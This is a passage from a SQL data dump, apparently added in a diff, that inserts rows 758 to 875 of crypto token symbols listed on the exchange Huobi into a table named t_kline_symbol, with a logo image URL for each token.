(758, 'huobi', 'trac', 'TRAC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origintrail.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (759, 'huobi', 'pokt', 'POKT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pocketnetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (760, 'huobi', 'gari', 'GARI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/garinetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (761, 'huobi', 'nct', 'NCT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polyswarm.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (762, 'huobi', 'inv', 'INV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inverse-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (763, 'huobi', 'scrt', 'SCRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/secret.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (764, 'huobi', 'loot', 'LOOT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loot.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (765, 'huobi', 'store', 'STORE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bit-store.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (766, 'huobi', 'trace', 'TRACE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trace-network-labs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (767, 'huobi', 'ats', 'ATS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/authorship.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (768, 'huobi', 'vra', 'VRA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verasity.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (769, 'huobi', 'vnd', 'VND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vnd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (770, 'huobi', 'suku', 'SUKU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suku.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (771, 'huobi', 'spellfire', 'SPELLFIRE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/spellfire.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (772, 'huobi', 'aca', 'ACA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acala-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (773, 'huobi', 'ctx', 'CTX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cartaxi-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (774, 'huobi', 'dia', 'DIA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dia-data.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (775, 'huobi', 'mpl', 'MPL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maple-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (776, 'huobi', 'plu', 'PLU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pluton.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (777, 'huobi', 'phcr', 'PHCR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/photochromic.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (778, 'huobi', 'glmr', 'GLMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonbeam.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (779, 'huobi', 'hbb', 'HBB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/hubbleprotocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (780, 'huobi', 'sns', 'SNS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/melody-sns.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (781, 'huobi', 'rare', 'RARE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/superrare.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (782, 'huobi', 'mc', 'MC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merit-circle.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (783, 'huobi', 'wallet', 'WALLET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ambire-wallet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (784, 'huobi', 'zkp', 'ZKP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/panther-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (785, 'huobi', 'kt', 'KT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (786, 'huobi', 'upi', 'UPI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pawtocol.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (787, 'huobi', 'mgg', 'MGG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/metagamingguild.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (788, 'huobi', 'rss3', 'RSS3', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rss3.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (789, 'huobi', 'roco', 'ROCO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/roiyal-coin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (790, 'huobi', 'zig', 'ZIG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zignaly.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (791, 'huobi', 'arkn', 'ARKN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ark-rivals.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (792, 'huobi', 'sis', 'SIS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/symbiosis-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (793, 'huobi', 'gmee', 'GMEE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamee.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (794, 'huobi', 'starly', 'STARLY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/starlyio.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (795, 'huobi', 'babydoge', 'BABYDOGE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/baby-doge-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (796, 'huobi', 'hec', 'HEC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/heroeschained.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (797, 'huobi', 'gf', 'GF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/guildfi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (798, 'huobi', 'chsb', 'CHSB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swissborg.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (799, 'huobi', 'ranker', 'RANKER', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rankerdao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (800, 'huobi', 'pstake', 'PSTAKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pstake.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (801, 'huobi', 'revv', 'REVV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revv.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (802, 'huobi', 'holo', 'HOLO', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (803, 'huobi', 'polc', 'POLC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polka-city.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (804, 'huobi', 'wild', 'WILD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wild-crypto.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (805, 'huobi', 'gear', 'GEAR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitgear.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (806, 'huobi', 'vpad', 'VPAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vlaunch.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (807, 'huobi', 'lbp', 'LBP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/launchblock-com.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (808, 'huobi', 'gcoin', 'GCOIN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/galaxyfightclub.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (809, 'huobi', 'hotcross', 'HOTCROSS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hot-cross.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (810, 'huobi', 'floki', 'FLOKI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/floki-inu.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (811, 'huobi', 'multi', 'MULTI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/multichain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (812, 'huobi', 'scream', 'SCREAM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scream.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (813, 'huobi', 'boo', 'BOO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bamboo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (814, 'huobi', 'win', 'WIN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/wink.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (815, 'huobi', 'mbox', 'MBOX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobox.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (816, 'huobi', 'wpci', 'WPCI', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (817, 'huobi', 'wemix', 'WEMIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wemix-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (818, 'huobi', 'bull', 'BULL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buysell.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (819, 'huobi', 'aioz', 'AIOZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aioz-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (820, 'huobi', 'syn', 'SYN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synapse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (821, 'huobi', 'ern', 'ERN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethernity-chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (822, 'huobi', 'gst', 'GST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gstcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (823, 'huobi', 'kai', 'KAI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kardiachain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (824, 'huobi', 'indi', 'INDI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Indi_Coin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (825, 'huobi', 'bit', 'BIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdao.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (826, 'huobi', 'xcad', 'XCAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/XCAD.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (827, 'huobi', 'okb', 'OKB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okb.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (828, 'huobi', 'sd', 'SD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stader.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (829, 'huobi', 'zbc', 'ZBC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zebec-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (830, 'huobi', 'smcw', 'SMCW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/space-misfits.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (831, 'huobi', 'qrdo', 'QRDO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qredo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (832, 'huobi', 'ctxc2x', 'CTXC2X', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (833, 'huobi', 'orb', 'ORB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Orbitcoin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (834, 'huobi', 'onston', 'ONSTON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onston.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (835, 'huobi', 'h2o', 'H2O', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/h2o-dao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (836, 'huobi', 'arv', 'ARV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ariva.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (837, 'huobi', 'abbc', 'ABBC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alibabacoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (838, 'huobi', 'loka', 'LOKA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/leagueofkingdomsarena.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (839, 'huobi', 'crpt', 'CRPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypterium.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (840, 'huobi', 'fx', 'FX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/function-x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (841, 'huobi', 'dog', 'DOG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-doge-nft.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (842, 'huobi', 'lmr', 'LMR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/lumerin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (843, 'huobi', 'anml', 'ANML', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/animal-concerts.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (844, 'huobi', 'vr', 'VR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/victoriavr.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (845, 'huobi', 'cudos', 'CUDOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cudos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (846, 'huobi', 'gq', 'GQ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/outer-ring-mmo-gq.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (847, 'huobi', 'cake', 'CAKE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pancakeswap.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (848, 'huobi', 'xdefi', 'XDEFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdefi-wallet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (849, 'huobi', 'fuse', 'FUSE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fusefi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (850, 'huobi', 'raca', 'RACA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radio-caca.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (851, 'huobi', 'onit', 'ONIT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/onbuff.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (852, 'huobi', 'sprt', 'SPRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sportium.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (853, 'huobi', 'egs', 'EGS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edgeswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (854, 'huobi', 'ceek', 'CEEK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ceek-vr.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (855, 'huobi', 'xcn', 'XCN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (856, 'huobi', 'brwl', 'BRWL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockchain-brawlers.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (857, 'huobi', 'npt', 'NPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neopin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (858, 'huobi', 'noia', 'NOIA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/noia-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (859, 'huobi', 'xcur', 'XCUR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/curate.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (860, 'huobi', 'nym', 'NYM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nym.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (861, 'huobi', 'vision', 'VISION', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/visiongame.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (862, 'huobi', 'plato', 'PLATO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/platofarm.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (863, 'huobi', 'face', 'FACE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faceter.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (864, 'huobi', 'caw', 'CAW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/caw-a-hunters-dream.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (865, 'huobi', 'vemp', 'VEMP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vempire-ddao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (866, 'huobi', 'cel', 'CEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celsius.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (867, 'huobi', 'prq', 'PRQ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/parsiq.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (868, 'huobi', 'moov', 'MOOV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dotmoovs.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (869, 'huobi', 'dose', 'DOSE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/olivex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (870, 'huobi', 'elu', 'ELU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/elumia.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (871, 'huobi', 'fitfi', 'FITFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/step-app.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (872, 'huobi', 'mu', 'MU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ReSource%20Finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (873, 'huobi', 'voxel', 'VOXEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voxies.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (874, 'huobi', 'bbf', 'BBF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bubblefong.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (875, 'huobi', 'num', 'NUM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/numbers.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 